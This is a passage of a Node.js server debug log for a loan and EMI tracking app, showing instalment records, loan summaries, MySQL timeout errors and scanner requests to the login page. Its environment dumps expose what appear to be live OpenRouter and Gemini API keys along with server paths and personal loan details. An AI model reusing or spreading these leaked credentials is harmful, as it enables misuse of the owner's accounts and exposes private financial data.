  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-03-02T10:48:20.335Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 12:02:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 12:02:32' as DATETIME)"
}
2026-03-02T13:43:56.248Z server-connect:router Serving templateView /
2026-03-02T13:43:56.249Z server-connect:app Executing action step identify
2026-03-02T13:43:56.250Z server-connect:app options: { provider: 'security' }
2026-03-02T13:43:56.250Z server-connect:auth No login cookie found
2026-03-02T13:43:56.250Z server-connect:output identity: false
2026-03-02T13:43:56.250Z server-connect:app Executing action step restrict
2026-03-02T13:43:56.250Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T13:43:56.250Z server-connect:output restrict: undefined
2026-03-02T13:43:57.831Z server-connect:router Serving templateView /login
2026-03-02T13:43:57.831Z server-connect:app Executing action step identify
2026-03-02T13:43:57.831Z server-connect:app options: { provider: 'security' }
2026-03-02T13:43:57.831Z server-connect:auth No login cookie found
2026-03-02T13:43:57.831Z server-connect:output identity: false
2026-03-02T13:43:57.831Z server-connect:router Render template layouts/authentication
2026-03-02T13:43:57.832Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-03T13:43:57.831Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 14:08:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 14:08:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 19:06:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 19:06:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 19:23:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 19:23:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 20:18:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 20:18:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 21:56:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 21:56:33' as DATETIME)"
}
2026-03-03T06:36:55.230Z server-connect:router Serving templateView /
2026-03-03T06:36:55.232Z server-connect:app Executing action step identify
2026-03-03T06:36:55.232Z server-connect:app options: { provider: 'security' }
2026-03-03T06:36:55.232Z server-connect:auth No login cookie found
2026-03-03T06:36:55.232Z server-connect:output identity: false
2026-03-03T06:36:55.232Z server-connect:app Executing action step restrict
2026-03-03T06:36:55.232Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T06:36:55.233Z server-connect:output restrict: undefined
2026-03-03T06:36:55.618Z server-connect:router Serving templateView /login
2026-03-03T06:36:55.619Z server-connect:app Executing action step identify
2026-03-03T06:36:55.619Z server-connect:app options: { provider: 'security' }
2026-03-03T06:36:55.619Z server-connect:auth No login cookie found
2026-03-03T06:36:55.619Z server-connect:output identity: false
2026-03-03T06:36:55.619Z server-connect:router Render template layouts/authentication
2026-03-03T06:36:55.620Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.3',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-04T06:36:55.618Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.3',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.3',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-03T12:50:37.709Z server-connect:router Serving templateView /
2026-03-03T12:50:37.711Z server-connect:app Executing action step identify
2026-03-03T12:50:37.711Z server-connect:app options: { provider: 'security' }
2026-03-03T12:50:37.711Z server-connect:auth No login cookie found
2026-03-03T12:50:37.711Z server-connect:output identity: false
2026-03-03T12:50:37.711Z server-connect:app Executing action step restrict
2026-03-03T12:50:37.711Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T12:50:37.712Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-03 13:34:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-03 13:34:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-03 15:45:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-03 15:45:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-03 17:03:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
